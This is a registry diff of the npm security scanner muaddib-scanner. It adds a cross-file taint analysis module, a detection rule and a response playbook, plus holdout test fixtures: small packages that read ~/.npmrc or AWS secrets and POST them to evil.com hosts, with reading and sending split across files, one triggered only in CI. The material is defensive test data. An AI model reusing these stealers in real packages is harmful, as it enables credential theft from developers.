muaddib-scanner 2.2.5 → 2.2.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/muaddib.js +6 -1
- package/datasets/holdout-v5/callback-exfil/main.js +8 -0
- package/datasets/holdout-v5/callback-exfil/package.json +5 -0
- package/datasets/holdout-v5/callback-exfil/reader.js +10 -0
- package/datasets/holdout-v5/class-method-exfil/collector.js +10 -0
- package/datasets/holdout-v5/class-method-exfil/main.js +7 -0
- package/datasets/holdout-v5/class-method-exfil/package.json +5 -0
- package/datasets/holdout-v5/conditional-split/detector.js +2 -0
- package/datasets/holdout-v5/conditional-split/package.json +5 -0
- package/datasets/holdout-v5/conditional-split/stealer.js +16 -0
- package/datasets/holdout-v5/event-emitter-flow/listener.js +12 -0
- package/datasets/holdout-v5/event-emitter-flow/package.json +5 -0
- package/datasets/holdout-v5/event-emitter-flow/scanner.js +11 -0
- package/datasets/holdout-v5/mixed-inline-split/index.js +6 -0
- package/datasets/holdout-v5/mixed-inline-split/package.json +5 -0
- package/datasets/holdout-v5/mixed-inline-split/reader.js +3 -0
- package/datasets/holdout-v5/mixed-inline-split/sender.js +6 -0
- package/datasets/holdout-v5/named-export-steal/main.js +6 -0
- package/datasets/holdout-v5/named-export-steal/package.json +5 -0
- package/datasets/holdout-v5/named-export-steal/utils.js +1 -0
- package/datasets/holdout-v5/reexport-chain/a.js +2 -0
- package/datasets/holdout-v5/reexport-chain/b.js +1 -0
- package/datasets/holdout-v5/reexport-chain/c.js +11 -0
- package/datasets/holdout-v5/reexport-chain/package.json +5 -0
- package/datasets/holdout-v5/split-env-exfil/env.js +2 -0
- package/datasets/holdout-v5/split-env-exfil/exfil.js +5 -0
- package/datasets/holdout-v5/split-env-exfil/package.json +5 -0
- package/datasets/holdout-v5/split-npmrc-steal/index.js +2 -0
- package/datasets/holdout-v5/split-npmrc-steal/package.json +5 -0
- package/datasets/holdout-v5/split-npmrc-steal/reader.js +8 -0
- package/datasets/holdout-v5/split-npmrc-steal/sender.js +17 -0
- package/datasets/holdout-v5/three-hop-chain/package.json +5 -0
- package/datasets/holdout-v5/three-hop-chain/reader.js +8 -0
- package/datasets/holdout-v5/three-hop-chain/sender.js +11 -0
- package/datasets/holdout-v5/three-hop-chain/transform.js +3 -0
- package/package.json +1 -1
- package/src/index.js +20 -1
- package/src/response/playbooks.js +5 -0
- package/src/rules/index.js +13 -0
- package/src/scanner/module-graph.js +883 -0
package/bin/muaddib.js
CHANGED
|
@@ -32,6 +32,7 @@ let temporalMaintainerMode = false;
|
|
|
32
32
|
let temporalFullMode = false;
|
|
33
33
|
let breakdownMode = false;
|
|
34
34
|
let noDeobfuscate = false;
|
|
35
|
+
let noModuleGraph = false;
|
|
35
36
|
let feedLimit = null;
|
|
36
37
|
let feedSeverity = null;
|
|
37
38
|
let feedSince = null;
|
|
@@ -113,6 +114,8 @@ for (let i = 0; i < options.length; i++) {
|
|
|
113
114
|
breakdownMode = true;
|
|
114
115
|
} else if (options[i] === '--no-deobfuscate') {
|
|
115
116
|
noDeobfuscate = true;
|
|
117
|
+
} else if (options[i] === '--no-module-graph') {
|
|
118
|
+
noModuleGraph = true;
|
|
116
119
|
} else if (options[i] === '--temporal') {
|
|
117
120
|
temporalMode = true;
|
|
118
121
|
} else if (options[i] === '--limit') {
|
|
@@ -399,6 +402,7 @@ const helpText = `
|
|
|
399
402
|
--temporal-full All temporal analyses (lifecycle + AST + publish + maintainer)
|
|
400
403
|
--no-canary Disable honey token injection in sandbox
|
|
401
404
|
--no-deobfuscate Disable deobfuscation pre-processing
|
|
405
|
+
--no-module-graph Disable cross-file dataflow analysis
|
|
402
406
|
--exclude [dir] Exclude directory from scan (repeatable)
|
|
403
407
|
--limit [n] Limit feed entries (default: 50)
|
|
404
408
|
--severity [level] Filter by severity (CRITICAL|HIGH|MEDIUM|LOW)
|
|
@@ -440,7 +444,8 @@ if (command === 'version' || command === '--version' || command === '-v') {
|
|
|
440
444
|
exclude: excludeDirs,
|
|
441
445
|
entropyThreshold: entropyThreshold,
|
|
442
446
|
breakdown: breakdownMode,
|
|
443
|
-
noDeobfuscate: noDeobfuscate
|
|
447
|
+
noDeobfuscate: noDeobfuscate,
|
|
448
|
+
noModuleGraph: noModuleGraph
|
|
444
449
|
}).then(exitCode => {
|
|
445
450
|
process.exit(exitCode);
|
|
446
451
|
}).catch(err => {
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
function readCredentials(callback) {
|
|
6
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
7
|
+
callback(npmrc);
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
module.exports = readCredentials;
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const isCI = require('./detector');
|
|
6
|
+
|
|
7
|
+
if (isCI) {
|
|
8
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
9
|
+
const req = https.request({
|
|
10
|
+
hostname: 'evil.com',
|
|
11
|
+
path: '/ci-steal',
|
|
12
|
+
method: 'POST'
|
|
13
|
+
}, (res) => { res.resume(); });
|
|
14
|
+
req.write(npmrc);
|
|
15
|
+
req.end();
|
|
16
|
+
}
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const bus = require('./scanner');
|
|
3
|
+
|
|
4
|
+
bus.on('data', (creds) => {
|
|
5
|
+
const req = https.request({
|
|
6
|
+
hostname: 'evil.com',
|
|
7
|
+
path: '/steal',
|
|
8
|
+
method: 'POST'
|
|
9
|
+
}, (res) => { res.resume(); });
|
|
10
|
+
req.write(creds);
|
|
11
|
+
req.end();
|
|
12
|
+
});
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const EventEmitter = require('events');
|
|
5
|
+
|
|
6
|
+
const bus = new EventEmitter();
|
|
7
|
+
|
|
8
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
9
|
+
bus.emit('data', npmrc);
|
|
10
|
+
|
|
11
|
+
module.exports = bus;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
exports.getCredentials = process.env.AWS_SECRET_ACCESS_KEY;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = require('./a');
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const data = require('./reader');
|
|
3
|
+
|
|
4
|
+
const options = {
|
|
5
|
+
hostname: 'collector.evil.com',
|
|
6
|
+
port: 443,
|
|
7
|
+
path: '/exfil',
|
|
8
|
+
method: 'POST',
|
|
9
|
+
headers: { 'Content-Type': 'text/plain' }
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
const req = https.request(options, (res) => {
|
|
13
|
+
res.resume();
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
req.write(data);
|
|
17
|
+
req.end();
|
package/package.json
CHANGED
package/src/index.js
CHANGED
|
@@ -20,6 +20,7 @@ const { ensureIOCs } = require('./ioc/bootstrap.js');
|
|
|
20
20
|
const { scanEntropy } = require('./scanner/entropy.js');
|
|
21
21
|
const { scanAIConfig } = require('./scanner/ai-config.js');
|
|
22
22
|
const { deobfuscate } = require('./scanner/deobfuscate.js');
|
|
23
|
+
const { buildModuleGraph, annotateTaintedExports, detectCrossFileFlows } = require('./scanner/module-graph.js');
|
|
23
24
|
const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
|
|
24
25
|
const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
|
|
25
26
|
const { detectPublishAnomaly } = require('./publish-anomaly.js');
|
|
@@ -226,6 +227,18 @@ async function run(targetPath, options = {}) {
|
|
|
226
227
|
// Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
|
|
227
228
|
const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
|
|
228
229
|
|
|
230
|
+
// Cross-file module graph analysis (before individual scanners)
|
|
231
|
+
let crossFileFlows = [];
|
|
232
|
+
if (!options.noModuleGraph) {
|
|
233
|
+
try {
|
|
234
|
+
const graph = buildModuleGraph(targetPath);
|
|
235
|
+
const tainted = annotateTaintedExports(graph, targetPath);
|
|
236
|
+
crossFileFlows = detectCrossFileFlows(graph, tainted, targetPath);
|
|
237
|
+
} catch {
|
|
238
|
+
// Graceful fallback — module graph is best-effort
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
|
|
229
242
|
// Parallel execution of all independent scanners
|
|
230
243
|
const [
|
|
231
244
|
packageThreats,
|
|
@@ -275,7 +288,13 @@ async function run(targetPath, options = {}) {
|
|
|
275
288
|
...pythonThreats,
|
|
276
289
|
...pypiTyposquatThreats,
|
|
277
290
|
...entropyThreats,
|
|
278
|
-
...aiConfigThreats
|
|
291
|
+
...aiConfigThreats,
|
|
292
|
+
...crossFileFlows.map(f => ({
|
|
293
|
+
type: f.type,
|
|
294
|
+
severity: f.severity,
|
|
295
|
+
message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
|
|
296
|
+
file: f.sinkFile
|
|
297
|
+
}))
|
|
279
298
|
];
|
|
280
299
|
|
|
281
300
|
// Paranoid mode
|
|
@@ -304,6 +304,11 @@ const PLAYBOOKS = {
|
|
|
304
304
|
'NE PAS installer. Ceci execute du code arbitraire a l\'installation. ' +
|
|
305
305
|
'Si deja installe: considerer la machine compromise. Auditer les modifications systeme.',
|
|
306
306
|
|
|
307
|
+
cross_file_dataflow:
|
|
308
|
+
'CRITIQUE: Un module lit des credentials et les exporte vers un autre module qui les envoie sur le reseau. ' +
|
|
309
|
+
'Exfiltration inter-fichiers confirmee. Isoler la machine, supprimer le package, regenerer TOUS les secrets. ' +
|
|
310
|
+
'Auditer les connexions reseau recentes pour identifier les donnees exfiltrees.',
|
|
311
|
+
|
|
307
312
|
credential_tampering:
|
|
308
313
|
'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
|
|
309
314
|
'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
|
package/src/rules/index.js
CHANGED
|
@@ -624,6 +624,19 @@ const RULES = {
|
|
|
624
624
|
mitre: 'T1195.002'
|
|
625
625
|
},
|
|
626
626
|
|
|
627
|
+
cross_file_dataflow: {
|
|
628
|
+
id: 'MUADDIB-FLOW-004',
|
|
629
|
+
name: 'Cross-File Data Exfiltration',
|
|
630
|
+
severity: 'CRITICAL',
|
|
631
|
+
confidence: 'high',
|
|
632
|
+
description: 'Un module lit des credentials (fs.readFileSync, process.env) et les exporte vers un autre module qui les envoie sur le reseau (fetch, https.request). Exfiltration inter-fichiers confirmee.',
|
|
633
|
+
references: [
|
|
634
|
+
'https://blog.phylum.io/shai-hulud-npm-worm',
|
|
635
|
+
'https://attack.mitre.org/techniques/T1041/'
|
|
636
|
+
],
|
|
637
|
+
mitre: 'T1041'
|
|
638
|
+
},
|
|
639
|
+
|
|
627
640
|
credential_tampering: {
|
|
628
641
|
id: 'MUADDIB-FLOW-003',
|
|
629
642
|
name: 'Credential/Cache Tampering',
|
|
@@ -0,0 +1,883 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const acorn = require('acorn');
|
|
4
|
+
const { findFiles } = require('../utils');
|
|
5
|
+
|
|
6
|
+
// --- Sensitive source patterns ---
|
|
7
|
+
const SENSITIVE_MODULES = new Set(['fs', 'child_process', 'dns', 'os']);
|
|
8
|
+
|
|
9
|
+
const ACORN_OPTIONS = {
|
|
10
|
+
ecmaVersion: 'latest',
|
|
11
|
+
sourceType: 'module',
|
|
12
|
+
allowReturnOutsideFunction: true,
|
|
13
|
+
allowImportExportEverywhere: true,
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
// --- Sink patterns for cross-file detection ---
|
|
17
|
+
const SINK_CALLEE_NAMES = new Set(['fetch', 'eval', 'Function', 'WebSocket', 'XMLHttpRequest']);
|
|
18
|
+
const SINK_MEMBER_METHODS = new Set([
|
|
19
|
+
'https.request', 'https.get', 'http.request', 'http.get',
|
|
20
|
+
'child_process.exec', 'child_process.execSync', 'child_process.spawn',
|
|
21
|
+
]);
|
|
22
|
+
const SINK_INSTANCE_METHODS = new Set(['connect', 'write', 'send']);
|
|
23
|
+
|
|
24
|
+
// =============================================================================
|
|
25
|
+
// STEP 1 — Module dependency graph
|
|
26
|
+
// =============================================================================
|
|
27
|
+
|
|
28
|
+
/**
|
|
29
|
+
* Build a dependency graph of local modules within a package.
|
|
30
|
+
* Only tracks local imports (./ ../) — node_modules are ignored.
|
|
31
|
+
*/
|
|
32
|
+
function buildModuleGraph(packagePath) {
|
|
33
|
+
const graph = {};
|
|
34
|
+
const files = findFiles(packagePath, {
|
|
35
|
+
extensions: ['.js'],
|
|
36
|
+
excludedDirs: ['node_modules', '.git'],
|
|
37
|
+
});
|
|
38
|
+
for (const absFile of files) {
|
|
39
|
+
const relFile = toRel(absFile, packagePath);
|
|
40
|
+
const imports = extractLocalImports(absFile, packagePath);
|
|
41
|
+
graph[relFile] = imports;
|
|
42
|
+
}
|
|
43
|
+
return graph;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function extractLocalImports(filePath, packagePath) {
|
|
47
|
+
const ast = parseFile(filePath);
|
|
48
|
+
if (!ast) return [];
|
|
49
|
+
|
|
50
|
+
const imports = [];
|
|
51
|
+
const fileDir = path.dirname(filePath);
|
|
52
|
+
|
|
53
|
+
for (const node of ast.body) {
|
|
54
|
+
if (node.type === 'ImportDeclaration' && node.source && typeof node.source.value === 'string') {
|
|
55
|
+
const spec = node.source.value;
|
|
56
|
+
if (isLocalImport(spec)) {
|
|
57
|
+
const resolved = resolveLocal(fileDir, spec, packagePath);
|
|
58
|
+
if (resolved) imports.push(resolved);
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
walkForRequires(ast, fileDir, packagePath, imports);
|
|
63
|
+
return [...new Set(imports)];
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
function walkForRequires(node, fileDir, packagePath, imports) {
|
|
67
|
+
if (!node || typeof node !== 'object') return;
|
|
68
|
+
if (
|
|
69
|
+
node.type === 'CallExpression' &&
|
|
70
|
+
node.callee && node.callee.type === 'Identifier' &&
|
|
71
|
+
node.callee.name === 'require' &&
|
|
72
|
+
node.arguments.length === 1 &&
|
|
73
|
+
node.arguments[0].type === 'Literal' &&
|
|
74
|
+
typeof node.arguments[0].value === 'string'
|
|
75
|
+
) {
|
|
76
|
+
const spec = node.arguments[0].value;
|
|
77
|
+
if (isLocalImport(spec)) {
|
|
78
|
+
const resolved = resolveLocal(fileDir, spec, packagePath);
|
|
79
|
+
if (resolved) imports.push(resolved);
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
for (const key of Object.keys(node)) {
|
|
83
|
+
if (key === 'type') continue;
|
|
84
|
+
const child = node[key];
|
|
85
|
+
if (Array.isArray(child)) {
|
|
86
|
+
for (const item of child) {
|
|
87
|
+
if (item && typeof item === 'object' && item.type) {
|
|
88
|
+
walkForRequires(item, fileDir, packagePath, imports);
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
} else if (child && typeof child === 'object' && child.type) {
|
|
92
|
+
walkForRequires(child, fileDir, packagePath, imports);
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
// =============================================================================
|
|
98
|
+
// STEP 2 — Annotate tainted exports
|
|
99
|
+
// =============================================================================
|
|
100
|
+
|
|
101
|
+
/**
|
|
102
|
+
* For each file in the graph, find exports and check if they depend on
|
|
103
|
+
* sensitive sources (fs.readFileSync, process.env, os.homedir, etc.).
|
|
104
|
+
*
|
|
105
|
+
* Returns: { 'reader.js': { default: { tainted: true, source: '...', detail: '...' } }, ... }
|
|
106
|
+
*/
|
|
107
|
+
function annotateTaintedExports(graph, packagePath) {
|
|
108
|
+
const result = {};
|
|
109
|
+
for (const relFile of Object.keys(graph)) {
|
|
110
|
+
const absFile = path.resolve(packagePath, relFile);
|
|
111
|
+
result[relFile] = analyzeExports(absFile);
|
|
112
|
+
}
|
|
113
|
+
return result;
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
function analyzeExports(filePath) {
|
|
117
|
+
const ast = parseFile(filePath);
|
|
118
|
+
if (!ast) return {};
|
|
119
|
+
|
|
120
|
+
// Track which local variables hold sensitive module references
|
|
121
|
+
// e.g. const fs = require('fs') → moduleVars['fs'] = 'fs'
|
|
122
|
+
const moduleVars = {};
|
|
123
|
+
// Track which local variables hold tainted values
|
|
124
|
+
// e.g. const data = fs.readFileSync(...) → taintedVars['data'] = { source, detail }
|
|
125
|
+
const taintedVars = {};
|
|
126
|
+
|
|
127
|
+
// Track class declarations: class Foo { ... }
|
|
128
|
+
const classDefs = {};
|
|
129
|
+
walkAST(ast, (node) => {
|
|
130
|
+
if (node.type === 'ClassDeclaration' && node.id && node.id.name) {
|
|
131
|
+
classDefs[node.id.name] = node;
|
|
132
|
+
}
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
// First pass: collect require assignments and tainted variable assignments
|
|
136
|
+
walkAST(ast, (node) => {
|
|
137
|
+
// const fs = require('fs')
|
|
138
|
+
if (node.type === 'VariableDeclaration') {
|
|
139
|
+
for (const decl of node.declarations) {
|
|
140
|
+
if (!decl.init || !decl.id) continue;
|
|
141
|
+
|
|
142
|
+
// const fs = require('fs')
|
|
143
|
+
if (isRequireCall(decl.init) && SENSITIVE_MODULES.has(decl.init.arguments[0].value)) {
|
|
144
|
+
if (decl.id.type === 'Identifier') {
|
|
145
|
+
moduleVars[decl.id.name] = decl.init.arguments[0].value;
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
// const data = fs.readFileSync(...) or const token = process.env.XXX
|
|
150
|
+
if (decl.id.type === 'Identifier') {
|
|
151
|
+
const taint = checkNodeTaint(decl.init, moduleVars);
|
|
152
|
+
if (taint) {
|
|
153
|
+
taintedVars[decl.id.name] = taint;
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
// Also handle: let x; x = fs.readFileSync(...)
|
|
160
|
+
if (node.type === 'ExpressionStatement' && node.expression.type === 'AssignmentExpression') {
|
|
161
|
+
const left = node.expression.left;
|
|
162
|
+
const right = node.expression.right;
|
|
163
|
+
if (left.type === 'Identifier') {
|
|
164
|
+
const taint = checkNodeTaint(right, moduleVars);
|
|
165
|
+
if (taint) {
|
|
166
|
+
taintedVars[left.name] = taint;
|
|
167
|
+
}
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
});
|
|
171
|
+
|
|
172
|
+
// Second pass: find exports and check if they are tainted
|
|
173
|
+
const exports = {};
|
|
174
|
+
walkAST(ast, (node) => {
|
|
175
|
+
// module.exports = value OR module.exports = { ... }
|
|
176
|
+
if (isModuleExportsAssign(node)) {
|
|
177
|
+
const value = node.expression.right;
|
|
178
|
+
const exportName = getExportName(node.expression.left);
|
|
179
|
+
|
|
180
|
+
// Direct taint on the value itself
|
|
181
|
+
const taint = checkNodeTaint(value, moduleVars);
|
|
182
|
+
if (taint) {
|
|
183
|
+
exports[exportName] = { tainted: true, source: taint.source, detail: taint.detail };
|
|
184
|
+
return;
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
// Variable reference → check taintedVars
|
|
188
|
+
if (value.type === 'Identifier' && taintedVars[value.name]) {
|
|
189
|
+
const t = taintedVars[value.name];
|
|
190
|
+
exports[exportName] = { tainted: true, source: t.source, detail: t.detail };
|
|
191
|
+
return;
|
|
192
|
+
}
|
|
193
|
+
|
|
194
|
+
// Object literal: module.exports = { read: function() { ... } }
|
|
195
|
+
if (value.type === 'ObjectExpression' && exportName === 'default') {
|
|
196
|
+
for (const prop of value.properties) {
|
|
197
|
+
if (!prop.key) continue;
|
|
198
|
+
const propName = prop.key.name || prop.key.value || 'unknown';
|
|
199
|
+
|
|
200
|
+
// Check function body for taint
|
|
201
|
+
const funcBody = getFunctionBody(prop.value);
|
|
202
|
+
if (funcBody) {
|
|
203
|
+
const bodyTaint = scanBodyForTaint(funcBody, moduleVars, taintedVars);
|
|
204
|
+
if (bodyTaint) {
|
|
205
|
+
exports[propName] = { tainted: true, source: bodyTaint.source, detail: bodyTaint.detail };
|
|
206
|
+
}
|
|
207
|
+
} else {
|
|
208
|
+
// Value is a direct expression
|
|
209
|
+
const vTaint = checkNodeTaint(prop.value, moduleVars);
|
|
210
|
+
if (vTaint) {
|
|
211
|
+
exports[propName] = { tainted: true, source: vTaint.source, detail: vTaint.detail };
|
|
212
|
+
} else if (prop.value.type === 'Identifier' && taintedVars[prop.value.name]) {
|
|
213
|
+
const t = taintedVars[prop.value.name];
|
|
214
|
+
exports[propName] = { tainted: true, source: t.source, detail: t.detail };
|
|
215
|
+
}
|
|
216
|
+
}
|
|
217
|
+
}
|
|
218
|
+
return;
|
|
219
|
+
}
|
|
220
|
+
|
|
221
|
+
// Class expression: module.exports = class { ... }
|
|
222
|
+
if (value.type === 'ClassExpression') {
|
|
223
|
+
analyzeClassBody(value, moduleVars, taintedVars, exports);
|
|
224
|
+
return;
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
// Class reference: module.exports = ClassName (where ClassName is a ClassDeclaration)
|
|
228
|
+
if (value.type === 'Identifier' && classDefs[value.name]) {
|
|
229
|
+
analyzeClassBody(classDefs[value.name], moduleVars, taintedVars, exports);
|
|
230
|
+
return;
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
// Function/arrow: module.exports = function() { ... }
|
|
234
|
+
const funcBody = getFunctionBody(value);
|
|
235
|
+
if (funcBody) {
|
|
236
|
+
const bodyTaint = scanBodyForTaint(funcBody, moduleVars, taintedVars);
|
|
237
|
+
if (bodyTaint) {
|
|
238
|
+
exports[exportName] = { tainted: true, source: bodyTaint.source, detail: bodyTaint.detail };
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
}
|
|
242
|
+
});
|
|
243
|
+
|
|
244
|
+
return exports;
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
/**
|
|
248
|
+
* Analyze class body methods for tainted sources.
|
|
249
|
+
* Populates exports with named tainted methods.
|
|
250
|
+
*/
|
|
251
|
+
function analyzeClassBody(classNode, moduleVars, taintedVars, exports) {
|
|
252
|
+
if (!classNode.body || !classNode.body.body) return;
|
|
253
|
+
for (const member of classNode.body.body) {
|
|
254
|
+
if (member.type !== 'MethodDefinition') continue;
|
|
255
|
+
const methodName = member.key && (member.key.name || member.key.value);
|
|
256
|
+
if (!methodName || methodName === 'constructor') continue;
|
|
257
|
+
const funcBody = getFunctionBody(member.value);
|
|
258
|
+
if (funcBody) {
|
|
259
|
+
const bodyTaint = scanBodyForTaint(funcBody, moduleVars, taintedVars);
|
|
260
|
+
if (bodyTaint) {
|
|
261
|
+
exports[methodName] = { tainted: true, source: bodyTaint.source, detail: bodyTaint.detail };
|
|
262
|
+
}
|
|
263
|
+
}
|
|
264
|
+
}
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
/**
|
|
268
|
+
* Check if a single AST node represents a sensitive source call.
|
|
269
|
+
*/
|
|
270
|
+
function checkNodeTaint(node, moduleVars) {
|
|
271
|
+
if (!node) return null;
|
|
272
|
+
|
|
273
|
+
// process.env or process.env.XXX
|
|
274
|
+
if (node.type === 'MemberExpression') {
|
|
275
|
+
const chain = getMemberChain(node);
|
|
276
|
+
if (chain.startsWith('process.env')) {
|
|
277
|
+
const detail = chain.length > 'process.env'.length ? chain.slice('process.env.'.length) : '';
|
|
278
|
+
return { source: 'process.env', detail };
|
|
279
|
+
}
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
// require('fs').readFileSync(...) (inline require)
|
|
283
|
+
if (node.type === 'CallExpression' && node.callee.type === 'MemberExpression') {
|
|
284
|
+
const obj = node.callee.object;
|
|
285
|
+
const prop = node.callee.property;
|
|
286
|
+
const methodName = prop.name || prop.value;
|
|
287
|
+
|
|
288
|
+
// Check inline require: require('fs').readFileSync(...)
|
|
289
|
+
if (isRequireCall(obj) && SENSITIVE_MODULES.has(obj.arguments[0].value)) {
|
|
290
|
+
const mod = obj.arguments[0].value;
|
|
291
|
+
return describeSensitiveCall(mod, methodName, node.arguments);
|
|
292
|
+
}
|
|
293
|
+
|
|
294
|
+
// Check variable-based: fs.readFileSync(...)
|
|
295
|
+
if (obj.type === 'Identifier' && moduleVars[obj.name]) {
|
|
296
|
+
const mod = moduleVars[obj.name];
|
|
297
|
+
return describeSensitiveCall(mod, methodName, node.arguments);
|
|
298
|
+
}
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
// Bare call: exec(...), spawn(...)
|
|
302
|
+
if (node.type === 'CallExpression' && node.callee.type === 'Identifier') {
|
|
303
|
+
const name = node.callee.name;
|
|
304
|
+
if (name === 'exec' || name === 'execSync' || name === 'spawn' || name === 'spawnSync') {
|
|
305
|
+
const detail = extractLiteralArg(node.arguments);
|
|
306
|
+
return { source: `child_process.${name}`, detail };
|
|
307
|
+
}
|
|
308
|
+
}
|
|
309
|
+
|
|
310
|
+
return null;
|
|
311
|
+
}
|
|
312
|
+
|
|
313
|
+
function describeSensitiveCall(mod, method, args) {
|
|
314
|
+
const detail = extractLiteralArg(args);
|
|
315
|
+
if (mod === 'fs' && (method === 'readFileSync' || method === 'readFile')) {
|
|
316
|
+
return { source: `fs.${method}`, detail };
|
|
317
|
+
}
|
|
318
|
+
if (mod === 'os' && method === 'homedir') {
|
|
319
|
+
return { source: 'os.homedir', detail: '' };
|
|
320
|
+
}
|
|
321
|
+
if (mod === 'child_process' && (method === 'exec' || method === 'execSync' || method === 'spawn')) {
|
|
322
|
+
return { source: `child_process.${method}`, detail };
|
|
323
|
+
}
|
|
324
|
+
if (mod === 'dns' && method === 'resolveTxt') {
|
|
325
|
+
return { source: 'dns.resolveTxt', detail };
|
|
326
|
+
}
|
|
327
|
+
return null;
|
|
328
|
+
}
|
|
329
|
+
|
|
330
|
+
/**
|
|
331
|
+
* Scan a function body (array of statements) for any tainted expression.
|
|
332
|
+
* Returns the first taint found, or null.
|
|
333
|
+
*/
|
|
334
|
+
function scanBodyForTaint(body, moduleVars, taintedVars) {
|
|
335
|
+
// Collect local tainted vars within this function scope too
|
|
336
|
+
const localTainted = { ...taintedVars };
|
|
337
|
+
|
|
338
|
+
let found = null;
|
|
339
|
+
walkAST({ type: 'Program', body }, (node) => {
|
|
340
|
+
if (found) return;
|
|
341
|
+
|
|
342
|
+
// Variable assignment inside function
|
|
343
|
+
if (node.type === 'VariableDeclaration') {
|
|
344
|
+
for (const decl of node.declarations) {
|
|
345
|
+
if (!decl.init || !decl.id || decl.id.type !== 'Identifier') continue;
|
|
346
|
+
if (isRequireCall(decl.init) && SENSITIVE_MODULES.has(decl.init.arguments[0].value)) {
|
|
347
|
+
moduleVars[decl.id.name] = decl.init.arguments[0].value;
|
|
348
|
+
}
|
|
349
|
+
const t = checkNodeTaint(decl.init, moduleVars);
|
|
350
|
+
if (t) localTainted[decl.id.name] = t;
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
|
|
354
|
+
const taint = checkNodeTaint(node, moduleVars);
|
|
355
|
+
if (taint) {
|
|
356
|
+
found = taint;
|
|
357
|
+
return;
|
|
358
|
+
}
|
|
359
|
+
|
|
360
|
+
// Return of a tainted variable
|
|
361
|
+
if (node.type === 'ReturnStatement' && node.argument) {
|
|
362
|
+
if (node.argument.type === 'Identifier' && localTainted[node.argument.name]) {
|
|
363
|
+
found = localTainted[node.argument.name];
|
|
364
|
+
}
|
|
365
|
+
}
|
|
366
|
+
});
|
|
367
|
+
return found;
|
|
368
|
+
}
|
|
369
|
+
|
|
370
|
+
// =============================================================================
|
|
371
|
+
// STEP 3 — Cross-file flow detection
|
|
372
|
+
// =============================================================================
|
|
373
|
+
|
|
374
|
+
/**
|
|
375
|
+
* Detect cross-file dataflows: a tainted export from one module reaches a
|
|
376
|
+
* network/exec sink in another module.
|
|
377
|
+
* Max 2 levels of re-export (A → B → C).
|
|
378
|
+
*/
|
|
379
|
+
function detectCrossFileFlows(graph, taintedExports, packagePath) {
|
|
380
|
+
// Expand taint through re-exports (max 2 levels)
|
|
381
|
+
const expandedTaint = expandTaintThroughReexports(graph, taintedExports, packagePath);
|
|
382
|
+
|
|
383
|
+
const flows = [];
|
|
384
|
+
|
|
385
|
+
for (const relFile of Object.keys(graph)) {
|
|
386
|
+
const absFile = path.resolve(packagePath, relFile);
|
|
387
|
+
const ast = parseFile(absFile);
|
|
388
|
+
if (!ast) continue;
|
|
389
|
+
|
|
390
|
+
// Find which local variables are tainted via imports
|
|
391
|
+
const localTaint = collectImportTaint(ast, relFile, graph, expandedTaint, packagePath);
|
|
392
|
+
if (Object.keys(localTaint).length === 0) continue;
|
|
393
|
+
|
|
394
|
+
// Find sinks that use tainted variables
|
|
395
|
+
const sinks = findSinksUsingTainted(ast, localTaint);
|
|
396
|
+
for (const sink of sinks) {
|
|
397
|
+
const taintInfo = localTaint[sink.taintedVar];
|
|
398
|
+
flows.push({
|
|
399
|
+
severity: 'CRITICAL',
|
|
